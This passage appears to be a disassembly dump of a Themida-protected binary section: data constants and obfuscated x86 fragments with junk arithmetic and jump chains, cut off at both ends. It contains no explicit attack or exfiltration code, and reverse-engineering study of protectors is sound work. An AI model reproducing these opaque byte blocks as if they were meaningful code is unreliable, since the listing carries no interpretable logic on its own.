45464E3Eh, 0B084F581h, 0E93153B3h, 14FDE9h, 74FF5200h dd 4E90424h, 83FFFF83h, 0EF8104C4h, 4D6C1ACDh, 335FFA01h dd 14312414h, 5DB4E924h, 0B70FFFFFh, 0E38953C0h, 0FFB983E9h dd 81E189FFh, 4C1h, 8788E900h, 0EBC1FFFFh, 8EEB8104h, 813E2221h dd 8D1081EBh, 5BDF299Ch, 0FFD337E9h, 37E951FFh, 5000000Ah dd 0DE51E3B8h, 2ADC2D5Fh, 685552A1h, 0B171CD6h, 5DE8295Dh dd 0FFC8FAE9h, 6B151FFh, 80BAF180h, 53667EC1h, 0D93090B3h dd 0D9F65B66h, 8002E9C0h, 0CF30E7F1h, 0B5516659h, 0E9E82816h dd 0FFFF62D1h, 28E9D028h, 28FFFF8Bh, 61C0E9F8h, 0E5C1FFFFh dd 0E9E5D103h, 0FFFFBD3Ah ; --------------------------------------------------------------------------- loc_54EB50: ; CODE XREF: Themida_:0054879Aj shl ebp, 7 jmp loc_55004A ; --------------------------------------------------------------------------- dd 0B753665Ch, 0E9F830AEh, 0FFFFE308h, 643E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EB6A: ; CODE XREF: Themida_:00547069j add ecx, 0FE37C19Dh add ebp, ecx pop ecx add ebp, 5229DF34h sub [edi+24h], ebp pop ebp push esi push esp pop esi push ebp jmp loc_54A7BB ; --------------------------------------------------------------------------- dw 0CA01h dd 0FFAD99E9h, 2EC83FFh, 24148966h, 0FF93BCE9h, 2474FFFFh dd 5FEEE904h, 3C33FFFFh, 243C3124h, 5C243C33h, 0FFB1C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EBB1: ; CODE XREF: Themida_:005500E6j xchg esi, [esp] pop esp push 4F5Dh mov [esp], eax push esp jmp loc_54754D ; --------------------------------------------------------------------------- db '\h:(',0 dd 243C8900h, 56505F54h, 5D510FBEh, 5EF08973h, 0A2AEF505h dd 58C7018Ch, 8704C783h, 815C243Ch, 4C4h, 2434FF00h, 6824148Bh dd 0D63h, 89242C89h, 0BF5750E5h, 50C8377Ch, 0CF81EFD1h dd 44D02728h, 0AB4E781h, 0EF813D87h, 0D943BB92h, 0E2E9F889h dd 59FFFF61h, 0FFC8D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EC25: ; CODE XREF: Themida_:0054D137j mov ch, bh pop ebx xor ch, ah pop eax add ch, 0CFh add al, 0F8h add al, ch sub al, 0F8h push dword ptr [esp] jmp loc_549813 ; --------------------------------------------------------------------------- dd 5AD1285Bh, 66E4E980h, 0DA55E953h, 0E959FFFFh, 0FFFFF786h dd 0E987048Fh, 0FFFF5932h ; --------------------------------------------------------------------------- loc_54EC58: ; CODE XREF: Themida_:005486C9j add edi, esi jmp loc_549D6E ; --------------------------------------------------------------------------- db 83h dd 8F5404ECh, 0EC812404h, 4, 0BD242C89h, 4, 4246C01h, 83242C8Bh dd 815D04C4h, 4C5h, 2B85000h, 1000000h, 2434FFC5h, 4C48158h dd 87000000h, 248B242Ch, 243CD224h, 92CBE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ECA6: ; CODE XREF: Themida_:0054B612j shl edx, 1 push 4D8Fh mov [esp], ebp push 1 pop ebp add [edi+24h], ebp push dword ptr [esp] jmp loc_545C39 ; --------------------------------------------------------------------------- db 0BFh, 36h, 3Eh dd 182D0174h, 29354E1Fh, 1F1805F8h, 55F354Eh, 68036D9h dd 0E9241C8Bh, 0FFFFBB38h ; --------------------------------------------------------------------------- loc_54ECE0: ; CODE XREF: Themida_:0054FF3Cj push esp pop ebp push edi mov edi, 664F6A21h add edi, 1C42AB3h add edi, 1 jmp loc_547FE4 ; --------------------------------------------------------------------------- dw 0ED68h dd 5B35AB67h, 895BD889h, 9B9BE9C1h, 7FE9FFFFh, 81FFFF58h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 0E389241Ch, 0DE69E950h dd 815FFFFFh, 1A0092CBh, 0A1B85061h, 29549CEAh, 0DA0158C3h dd 0A0BD555Bh, 1255018h, 242C8BEAh, 0FFD381E9h, 24048FFFh dd 5224248Bh, 800FB353h, 0E951A5F3h, 0FFFFD2A0h, 8F04C483h dd 815C2404h, 64466CC3h, 43BE5605h, 0E96C4A1Ch, 0FFFF675Fh dd 46C368h, 0A728E900h, 1C8BFFFFh, 0E81BE924h, 0EB80FFFFh dd 0C3285A56h, 80F2C380h, 0E5E9FAC3h, 0C0FFFFB1h, 72E902ECh dd 33FFFFC2h, 3C31243Ch, 243C3324h, 0D224248Bh, 0E99C2424h dd 0FFFF57D6h, 0C681E689h, 4, 0FFCA8EE9h, 7DC181FFh, 8133C75Eh dd 0DD9866F1h, 3BEB8157h, 1272978h, 3BC381CBh, 59272978h dd 0FFC5FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EDE1: ; CODE XREF: Themida_:0054F43Bj add edi, eax pop eax sub esp, 4 mov [esp], ebp jmp loc_546F95 ; --------------------------------------------------------------------------- db 53h dd 0D3F6F388h, 0E95BDE88h, 0C7Dh ; --------------------------------------------------------------------------- loc_54EDFC: ; CODE XREF: Themida_:00548B3Dj or eax, 0FD92C3Fh jmp loc_5475DF ; --------------------------------------------------------------------------- loc_54EE06: ; CODE XREF: Themida_:0054F21Dj sub ecx, ebp pop ebp push ebx jmp loc_546731 ; --------------------------------------------------------------------------- db 81h dd 3EB9CCEEh, 5EF33185h, 2DD9BF57h, 81474E5Dh, 83DC29C7h dd 5FFA01D7h, 0FFE9E3E9h, 24048FFFh, 0FFAFF4E9h, 1C8966FFh dd 74FF6624h, 8B660224h, 0C481241Ch, 2, 0FF9BEBE9h, 815B59FFh dd 5133ECC3h, 81C3015Ch, 5133ECEBh, 0C381585Ch, 2, 2474FF53h dd 48F5B04h, 6384E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EE72: ; CODE XREF: Themida_:0054E645j push 4E8Bh mov [esp], ebp jmp loc_54B5D6 ; --------------------------------------------------------------------------- db 1 dd 2A2E05F8h, 0E95F3CA8h, 0FFFF5A04h, 240C8B66h, 5B6F68h dd 24148900h, 6850E289h, 0C157DD8h, 8324048Bh, 0E0C104C4h dd 0D833E905h, 5468FFFFh, 0E9000048h, 0FFFFA4BCh, 0E95AD001h dd 0FFFF6821h ; --------------------------------------------------------------------------- loc_54EEC0: ; CODE XREF: Themida_:005468EAj mov ecx, 75456851h inc ecx sub ecx, 7545684Eh add esi, ecx pop ecx sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_5468F6 ; --------------------------------------------------------------------------- loc_54EEE3: ; CODE XREF: Themida_:005475E5j and esi, 27DA62CDh xor esi, 41926296h and eax, esi jmp loc_549786 ; --------------------------------------------------------------------------- loc_54EEF6: ; CODE XREF: Themida_:0054CDD7j push dword ptr [esp] mov ecx, [esp] jmp loc_5467CD ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 0E9E78957h, 0FFFFBEABh, 5F2414F7h, 5DBEEF81h, 0FA29795Fh dd 0FFF403E9h, 8BDF89FFh, 0C6E9241Ch, 81FFFFE2h, 3E78ACCBh dd 7EC3813Bh, 0E9DDB542h, 0FFFFBD2Dh, 0E13043B4h, 66E1D058h dd 667BD668h, 0B0240489h, 66C10820h, 0C8885058h, 0FF851DE9h dd 0E8015DFFh, 0FFC551E9h, 2EE953FFh, 0FFFF67h, 24048BE7h dd 4C481h, 0F8000000h, 0E920045Bh, 20Bh, 0FF560DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EF7D: ; CODE XREF: Themida_:0054B695j pop esi xor edx, 7F4D6703h jmp loc_544AA3 ; --------------------------------------------------------------------------- loc_54EF89: ; CODE XREF: Themida_:00549075j add esi, edi mov edi, [esp] add esp, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5495E7 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aQhuw db '$QhUW',0 dw 8900h dd 4832424h, 68590424h, 7087h, 0FFCBA2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EFD5: ; CODE XREF: Themida_:0054C68Dj add edx, ecx mov ecx, [esp] add esp, 4 loc_54EFDD: ; CODE XREF: Themida_:005472ACj ; Themida_:0054CF7Aj push dword ptr [edi+24h] push dword ptr [esp] mov ecx, [esp] push ebp mov ebp, esp push ecx mov ecx, 63A9767Ch shl ecx, 7 and ecx, 7FDE56FFh not ecx dec ecx dec ecx not ecx sub ecx, 549A15FEh add ebp, ecx pop ecx push edx mov edx, 73024D70h not edx dec edx jmp loc_544AD0 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 2C8904ECh, 815D5424h, 4C5h, 4C58100h, 87000000h dd 248B242Ch, 4EC8124h, 0E9000000h, 0FFFF8728h, 0D10860B2h dd 0FF9F27E9h, 0E38143FFh, 38A453A7h, 4B03E3C1h, 0C381EBD1h dd 774BF330h, 5AE9DD29h, 89FFFFBDh, 4C781E7h, 51000000h dd 0FFC161E9h, 52515FFFh, 0FF6E5CE9h, 20CA81FFh, 0C1545911h dd 0F28108E2h, 0FFF13304h, 535AD701h, 7BEB6856h, 465E585Dh dd 0B4DE9h, 4E1C100h, 462CC181h, 0C1811B33h, 0BE91436h dd 3BEFF181h, 0C1815FF3h, 0FFFFFFFFh, 9F8DC181h, 0BA52AD23h dd 66DB4CCCh, 0FF95A0E9h, 50665DFFh, 0D30DB866h, 66C20166h dd 0D0296658h, 29665A66h, 665266D8h, 66274DBAh, 5A66D001h dd 8904EC83h, 6866243Ch, 0D9E93C95h, 4FFFF55h, 58C230E1h dd 0F8E9D000h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F0FF: ; CODE XREF: Themida_:0054DB8Bj add esp, 4 jmp loc_54CD75 ; --------------------------------------------------------------------------- db 0B1h dd 6CB652C8h, 2846C180h, 46E980F1h, 0B4E9505Ah, 0E9FFFFA3h dd 0FFFF546Ah ; --------------------------------------------------------------------------- loc_54F120: ; CODE XREF: Themida_:00549648j shl ebx, 7 and ebx, 14213EE7h sub ebx, 12E7Ch add ebp, 2CA1720Fh add ebp, ebx jmp loc_5449F9 ; --------------------------------------------------------------------------- dd 68242C89h, 10CD4BCCh, 832E9h db 0 ; --------------------------------------------------------------------------- loc_54F149: ; CODE XREF: Themida_:0054A154j mov esi, 68F9211Dh push ebx mov ebx, 449E7704h dec ebx dec ebx push esi mov esi, 7EC175A2h or ebx, esi pop esi shl ebx, 5 jmp loc_54A74A ; --------------------------------------------------------------------------- db 87h dd 335C242Ch, 4312404h, 0A25AE924h, 0C801FFFFh, 8904EC83h dd 0A7E9241Ch, 28FFFF7Bh, 0EE49E9D8h, 5966FFFFh, 0E9F7E980h dd 0FFFFC21Fh, 0FF58C131h, 0F7E92434h, 2800000Fh, 148B66F3h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_547F76 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48159h, 68000000h, 3D03h, 0E9240489h, 0FFFF53C6h dd 8904EC83h, 58542404h, 405h, 5FFEE900h, 0E981FFFFh, 4B61723Ah dd 0FF168h, 0B4FBE900h, 0CB01FFFFh, 75E90303h, 66FFFFF9h dd 68240C8Bh, 74C1h, 51240C89h, 0C181E189h, 4, 4E981h dd 0FF510000h, 59042474h, 0FF91EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F215: ; CODE XREF: Themida_:0054941Dj mov [esp], ebp mov ebp, 4 jmp loc_54EE06 ; --------------------------------------------------------------------------- loc_54F222: ; CODE XREF: Themida_:00545DC8j mov eax, 111C6677h push ebp mov ebp, 41352FBFh jmp loc_54DC48 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 8B24048Fh, 1C892424h, 16824h, 215B0000h, 2434FFD8h dd 4C4835Bh, 0E2D1C209h, 43BE68h, 240C8900h, 0BC20F8B9h dd 0AC1E96Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F266: ; CODE XREF: Themida_:0054A0D0j mov [esp], ebx mov eax, [esp] sub esp, 4 jmp loc_5468BC ; --------------------------------------------------------------------------- loc_54F277: ; CODE XREF: Themida_:0054D23Cj mov [esp], edx push eax push 37EC1631h pop eax add eax, 0C813E9D3h mov edx, eax pop eax jmp loc_5459D3 ; --------------------------------------------------------------------------- dw 1487h dd 85665C24h, 0EFE99CC8h, 0BFFFFF52h, 34C04E38h, 12EE68h dd 7A22E900h, 34FFFFFFh, 0C283E924h, 0BB53FFFFh, 4, 875BDF01h dd 72E9243Ch, 56FFFFEBh, 3A5DEEBEh, 0DCE95568h, 89FFFFF0h dd 56B9240Ch, 0E95616F9h, 0FFFF60AAh, 0DCFBE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F2E2: ; CODE XREF: Themida_:0054F327j add ebp, 4 push edx mov edx, 27375D5h or edx, 5B8E6F74h shl edx, 8 add edx, 800B04h sub ebp, 5D1118BEh add ebp, edx add ebp, 5D1118BEh jmp loc_548DC7 ; --------------------------------------------------------------------------- dd 1E2FB951h, 0B0E904A8h, 89FFFFC7h, 0D3EEE9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F322: ; CODE XREF: Themida_:0054A36Ej mov [esp], ebp mov ebp, esp jmp loc_54F2E2 ; --------------------------------------------------------------------------- dd 5104C483h, 17738DB9h, 7E9C103h, 436E181h, 0BB536BBBh dd 20422h, 515BD929h, 0B856BFB9h, 0EE5CE90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F352: ; CODE XREF: Themida_:0054AA4Dj push ebx pop dword ptr [edi+24h] pop ebx sub ebx, 0FFFFFFFFh push dword ptr [edi+24h] push 7424h mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_548EEE ; --------------------------------------------------------------------------- db 4, 0C0h, 0E9h dd 0FFFFCAEFh, 4C481h, 48F0000h, 24248B24h, 0FFE81AE9h dd 802DB6FFh, 0EE809ACEh, 97EE807Bh, 0E95AF088h, 0FFFF897Eh ; --------------------------------------------------------------------------- loc_54F3B0: ; CODE XREF: Themida_:0054877Ej push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_54A150 ; --------------------------------------------------------------------------- db 58h, 0C0h, 0EAh dd 0E7C28003h, 8602E2C0h, 0E9D8F6C2h, 0FFFFB9BFh, 9C240420h dd 0FF51B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F3D9: ; CODE XREF: Themida_:00547D4Bj xor ebx, ecx jmp loc_54475B ; --------------------------------------------------------------------------- dd 4A7505ADh, 262D5326h, 109446Fh, 6F2605D8h, 0BE560944h dd 6A475683h, 0C14ED6F7h, 0D9E904EEh db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F403: ; CODE XREF: Themida_:0054B826j add edx, 4 add edx, 4 jmp loc_549984 ; --------------------------------------------------------------------------- db 58h, 8Fh, 4 dd 4D25C24h, 6BE99C24h, 33FFFF51h, 2BE9241Ch db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F427: ; CODE XREF: Themida_:00547D3Bj xor eax, 2915604Dh xor eax, 43273029h add eax, 1E1526AAh add eax, 9EBFD74Ch jmp loc_54EDE1 ; --------------------------------------------------------------------------- loc_54F440: ; CODE XREF: Themida_:00548C32j push dx jmp loc_54A7AC ; --------------------------------------------------------------------------- db 5Eh dd 0FEEA81h, 0EA816C70h, 143B0190h, 0C281F201h, 143B0190h dd 0FEC281h, 0E95E6C70h, 0FFFFB466h, 0E9F3015Dh, 0FFFF63A5h dd 0A950F4BDh, 5DEF296Ah, 0BE5E9h, 240C8B00h, 404C483h dd 0E9D82805h, 0FFFFC13Fh, 24BAh, 80BB5300h, 83541637h dd 4B43FFEBh, 0A6EB8143h, 0E94124C0h, 0FFFF86AEh ; --------------------------------------------------------------------------- loc_54F4A8: ; CODE XREF: Themida_:0054AEDEj sub ebp, 0F342A656h jmp loc_54A261 ; --------------------------------------------------------------------------- db 0FEh dd 0CAEC80C4h, 205CC480h, 28E958E3h, 29FFFFE4h, 2BCB2DC8h dd 34FF6814h, 0C4835924h, 114F0504h, 15E90C26h, 0BFFFFF55h dd 236C674Ah, 0E95FF829h, 0FFFFC670h ; --------------------------------------------------------------------------- loc_54F4E8: ; CODE XREF: Themida_:005472D3j xor edi, 0D124B16h sub eax, edi pop edi add eax, ebp add eax, 69CD290Fh push ecx mov ecx, 556D281Ah sub eax, ecx pop ecx push dword ptr [esp] jmp loc_54A8B0 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFFBF4Ah, 0E95AD001h, 0FFFF815Eh ; --------------------------------------------------------------------------- loc_54F51C: ; CODE XREF: Themida_:00544CCDj push ebx mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp] pop esp jmp loc_54AFA3 ; --------------------------------------------------------------------------- dw 0D368h dd 596CD846h, 45FCE981h, 0CF89F5FFh, 78EF8159h, 4716D032h dd 20B2CF81h, 0DFF74CEDh, 0ADC78147h, 31A06157h, 0B2D1E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F55A: ; CODE XREF: Themida_:00545BC2j push ecx mov ecx, 78831AEAh xor ebp, ecx pop ecx and eax, ebp mov ebp, [esp] add esp, 4 or eax, eax jz loc_54A22E sub esp, 4 mov [esp], eax push esi mov esi, 1Ch push esi push ecx mov ecx, 4DB22D2Ah push 0 jmp loc_54A513 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFF59EEh, 601AD32Dh, 68D8016Ch, 5D12h, 83242C89h dd 8AE904ECh, 4BFFFFDEh, 0FFAFEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F5B9: ; CODE XREF: Themida_:0054E541j mov ebp, 0FFFFFFFFh sub esp, 4 mov [esp], ebx mov ebx, 59C56C6Fh add ebx, 0FBA7BBABh add eax, ebx pop ebx push edi mov edi, 6B461504h jmp loc_54848B ; --------------------------------------------------------------------------- loc_54F5DD: ; CODE XREF: Themida_:0054474Ej push 40000h push dword ptr [esp] pop ebx push ebx mov ebx, esp jmp loc_54D3BB ; --------------------------------------------------------------------------- loc_54F5EE: ; CODE XREF: Themida_:0054A529j shr ecx, 5 jmp loc_54E99D ; --------------------------------------------------------------------------- dw 0BF57h dd 2, 24360005h, 6137E90Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F606: ; CODE XREF: Themida_:0054CD24j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55057C ; --------------------------------------------------------------------------- db 4Fh, 97h, 0F7h dd 0AAB7E9D0h, 0EA81FFFFh, 4D9B5045h, 83243C8Bh, 72E904C4h dd 89FFFFF4h, 90C6E9C5h, 81ACFFFFh, 2ECh, 0C896600h, 0E97EB124h dd 0FFFFAC9Ah, 4EC81h, 34890000h, 3B2E924h, 0EC810000h dd 4, 0BD242C89h, 731207ACh, 505DEA29h, 0F4F7FB8h, 50D0F71Bh dd 582414F7h, 2A42E135h, 58C22938h, 0FF4F09E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F681: ; CODE XREF: Themida_:0054A46Dj push ebp mov ebp, 6E47282h shl ebp, 4 shl ebp, 4 jmp loc_550461 ; --------------------------------------------------------------------------- dw 0CF81h dd 61AA0DE0h, 5E42BD55h, 0EF093C31h, 3DC7815Dh, 5049EA25h dd 0A6052B68h, 0CFEE9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F6B2: ; CODE XREF: Themida_:005494CAj mov eax, [esp] add esp, 4 add esp, 4 sub bl, al jmp loc_5447A7 ; --------------------------------------------------------------------------- dw 0C381h dd 4BC764E2h, 48B5EB81h, 0EB810C70h, 41DC1F01h, 6BE7BD55h dd 0EB0174E8h, 0A2B9515Dh, 50443731h, 62B4BD55h, 0E8895A62h dd 0FF6419E9h, 0E9CA29FFh, 0FFFFA90Ah, 6A4604BAh, 71EDE933h dd 5266FFFFh, 0C6FE61B6h, 756CE952h, 0C87FFFFh, 0CAADE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F716: ; CODE XREF: Themida_:00548023j not dword ptr [esp] push dword ptr [esp] jmp loc_5452C3 ; --------------------------------------------------------------------------- db 68h, 8Ch, 63h dd 0CE90000h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F72B: ; CODE XREF: Themida_:00544AACj mov eax, 0C60D4E67h xor eax, ecx pop ecx sub ebx, eax pop eax jmp loc_548FA2 ; --------------------------------------------------------------------------- db 5Dh dd 2C8BE901h, 4C48324h, 0FF518BE9h, 4E3CE9FFh, 487FFFFh dd 0F402E924h, 489FFFFh, 7D31E924h, 0C581FFFFh, 4, 2474FF55h dd 93E95D04h, 81FFFFDCh, 85090CC1h, 0AAE0E9E4h, 0E951FFFFh dd 6Eh, 0CB80D3F6h, 0DCEB8014h, 0FF51E8E9h, 674A05FFh dd 565F236Ch, 0C681E689h, 4, 0FF9BF6E9h, 0E9D329FFh, 0FFFF6E02h dd 6624248Bh, 8324048Bh, 148904ECh, 7447E924h, 8B66FFFFh dd 0E953240Ch, 0FFFF6A5Bh ; --------------------------------------------------------------------------- loc_54F7C4: ; CODE XREF: Themida_:005463ECj push 7542h jmp loc_54747A ; --------------------------------------------------------------------------- loc_54F7CE: ; CODE XREF: Themida_:005450E5j add esi, 703564C7h add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 6134h mov [esp], esp jmp loc_54B58A ; --------------------------------------------------------------------------- dw 0E1B9h dd 81207404h, 0ED63FBE1h, 0D2CEE939h, 0F301FFFFh, 282E95Eh dd 0E5890000h, 0FF7991E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F80D: ; CODE XREF: Themida_:00547328j push dword ptr [esp] jmp loc_5471FB ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHo db '$ho\',0 align 2 dw 1C89h dd 5718E924h, 0E959FFFFh, 0FFFF5500h, 83242C8Bh, 1E6804C4h dd 8900005Dh, 0B850241Ch, 403B51B7h, 3B51B9BBh, 58C32940h dd 0F20D6805h, 2DD8017Bh, 7BF20D68h, 8879E95Bh, 5FBDFFFFh dd 81248F6Ah, 4F70F5F5h, 1DED816Bh, 815FA17Dh, 1E9D8BEDh dd 5DE801F0h, 0FF94DAE9h, 1C77FFFFh, 0D359669Dh, 0E99C2414h dd 0FFFF4D02h, 4C48358h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54CC5B ; --------------------------------------------------------------------------- loc_54F894: ; CODE XREF: Themida_:0054DE1Cj popf retn ; --------------------------------------------------------------------------- dw 0EFE9h db 4Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F89B: ; CODE XREF: Themida_:005479C1j push eax mov eax, 4DBE07E4h jmp loc_54518E ; --------------------------------------------------------------------------- dw 5350h dd 0F5E72CBBh, 5BD8898Dh, 85E9C101h, 81FFFFC6h, 4EAh, 24148700h dd 2434895Ch, 0FFEDD9E9h, 8E3C0FFh, 0FF6ECDE9h, 4ED83FFh dd 5C242C87h, 0FF9100E9h, 0E9CA89FFh, 0FFFF984Ch, 0F6B1B151h dd 0B250E9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8EE: ; CODE XREF: Themida_:005462E8j xor [esp], ecx xor ecx, [esp] xor [esp], ecx xchg edx, ecx xchg eax, edx jmp loc_54E661 ; --------------------------------------------------------------------------- db 0C3h dd 240C8B66h, 2F8C68h, 24148900h, 0C6E95A54h, 0E9000008h dd 0FFFF4C72h, 4C48358h, 4F68C101h, 8900007Ch, 18F2414h dd 57240C8Bh, 0C781E789h, 4, 0E904C783h, 0FFFFC0C0h, 0FF240489h dd 0E9042474h, 0FFFFFAC9h, 723E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F94E: ; CODE XREF: Themida_:00547271j pop dword ptr [esp] jmp loc_5490D6 ; --------------------------------------------------------------------------- loc_54F956: ; CODE XREF: Themida_:00546A25j mov ecx, 36E27135h sub ecx, edi push dword ptr [esp] pop edi add esp, 4 add eax, 44E50118h add eax, ecx sub eax, 44E50118h pop ecx add eax, 2 jmp loc_54C15C ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 0E0F58104h, 455FC102h, 4DEEC581h, 58E92323h dd 5BFFFFB8h, 0E95EF131h, 0FFFFE298h, 0BE56F101h, 1FF1E27h dd 0E681464Eh, 4E7E1130h, 0A221EE81h, 0F101AAC3h, 0FF8049E9h dd 1D8B68FFh, 0C890000h, 0E9595424h, 0FFFFFB41h, 4C481h dd 50570000h, 0C12E46B8h, 4AB2BF70h, 0C729BF63h, 8124048Bh dd 4C4h, 8BF82900h, 32E9243Ch, 83FFFF56h, 3FE904ECh, 89FFFF77h dd 0E2892414h, 4C281h, 0E9570000h, 0FFFF515Ah, 0DB2D6268h dd 0DEF75E3Dh, 0FF5FB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FA15: ; CODE XREF: Themida_:0054C13Aj mov [esp], ebp pop eax pop ebp push ebx push edi jmp loc_548E34 ; --------------------------------------------------------------------------- db 2Dh, 4, 0 dd 99E90000h, 31FFFFECh, 0D2F75BDAh, 0FF9AC1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FA35: ; CODE XREF: Themida_:00549C59j pop edx mov ebp, [esp] push ebp mov ebp, esp jmp loc_544FF1 ; --------------------------------------------------------------------------- loc_54FA41: ; CODE XREF: Themida_:005466C0j sub esi, edx jmp loc_54D0BB ; --------------------------------------------------------------------------- loc_54FA48: ; CODE XREF: Themida_:0054C7A0j mov eax, esi mov edx, eax pop eax pop esi push eax jmp loc_54BDC4 ; --------------------------------------------------------------------------- dd 3600BB53h, 0D8290D24h, 2434FF5Bh, 2967685Fh, 2C890000h dd 81E58924h, 4C5h, 4C58300h, 0FFF6EEE9h, 2EC81FFh, 66000000h dd 0E9240489h, 0FFFFA0AEh, 8704C383h, 515C241Ch, 845143B9h dd 53D1F71Bh, 7BAEB8BBh, 5BD929E4h, 8359CD01h, 2C8704C5h dd 0EB805C24h, 3DB0508Ch, 5258C328h, 0FF90AEE9h, 88F388FFh dd 0A3E95BD9h, 8BFFFFD2h, 0C4812434h, 4, 4C681h, 0CE90000h dd 81FFFF97h, 4C1h, 0EE18E900h, 0DBF6FFFFh, 0FFFDE0E9h dd 0C8B66FFh, 124D6824h, 0C890000h, 4EC8124h, 54000000h dd 8324048Fh, 8B042404h, 23E9240Ch, 81FFFF63h, 4ECh, 243C8900h dd 0C7815F54h, 4, 68555356h, 24402DC1h, 81EDD15Dh, 0AE3245EDh dd 81D5F763h, 4CFBFFC5h, 295E9DEh, 0C5810000h, 3E8E7813h dd 8103E5C1h, 3C1F60C5h, 0D7F58103h, 457D7926h, 32EF581h dd 2EE9989Dh, 81FFFFA5h, 0E1660DC1h, 59CD89F1h, 0FFD136E9h dd 29C781FFh, 55681E6Ch, 0FFF8FBE9h, 68FFh, 2C810000h dd 30EAA24h, 24142940h, 0AA240481h, 0E940030Eh, 0FFFFD2C3h ; --------------------------------------------------------------------------- loc_54FB90: ; CODE XREF: Themida_:0054D0BFj mov esp, [esp] mov [esp], edi jmp loc_550369 ; --------------------------------------------------------------------------- db 56h dd 0FE57D9BEh, 3EEE8153h, 890B9F0Ch, 0E0C15EF0h, 24F40502h dd 0B90D34B4h, 5532353Eh, 0FFED65E9h, 4F7268FFh, 8AE90000h dd 0F6FFFFC2h, 2ECC0D4h, 806FCC80h, 0E63067C4h, 0FF5D51E9h dd 24E959FFh, 4BFFFF96h, 83CBE94Bh, 0B850FFFFh, 585D7BE8h dd 0FFD361E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FBF1: ; CODE XREF: Themida_:00550372j and eax, edi push dword ptr [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_548291 ; --------------------------------------------------------------------------- loc_54FC07: ; CODE XREF: Themida_:0054B6F2j sub eax, 75552550h add eax, ebx add eax, 75552550h add [eax], ecx pop eax pop ebx jmp loc_55038A ; --------------------------------------------------------------------------- loc_54FC1C: ; CODE XREF: Themida_:00545ED0j mov esi, 9437AC38h add eax, esi mov esi, [esp] add esp, 4 add ebx, eax pop eax inc ebx jmp loc_54BA79 ; --------------------------------------------------------------------------- dw 575Bh dd 4BFh, 45C28100h, 14D9B50h, 0F9D8E9FAh, 8B66FFFFh, 68532414h dd 69BEh, 81242489h, 42404h, 34FF0000h, 241C8B24h, 8104C483h dd 4C4h, 4C38100h, 68000000h, 3DF8h, 0B9240C89h, 241639E7h dd 0FFF140E9h, 0E9F786FFh, 0FFFFF167h ; --------------------------------------------------------------------------- loc_54FC88: ; CODE XREF: Themida_:005468C5j mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 mov [esp], eax mov eax, 4 add edi, eax mov eax, [esp] add esp, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] sub esp, 4 jmp loc_54C085 ; --------------------------------------------------------------------------- dd 0FF56D6F7h, 8B042474h, 0C4812434h, 4, 0E924048Fh, 0FFFF7CEEh dd 0FF48ADE9h, 2E6866FFh, 4896677h, 0FE885224h, 0E95AF088h dd 0FFFFC252h, 9BE8E959h, 34FFFFFFh, 24048B24h, 5304C483h dd 0C381E389h, 4, 4D5468h, 24048900h, 4B8h, 0FFC30100h dd 83582434h, 2C8904ECh, 0C2E95424h, 0C1FFFFB5h, 0E94105E1h dd 0FFFFD76Eh, 4C281h, 14870000h, 24248B24h, 0FF66C331h dd 4844E930h, 8951FFFFh, 4C181E1h, 0E9000000h, 0FFFF7C8Ch dd 0ED80D500h, 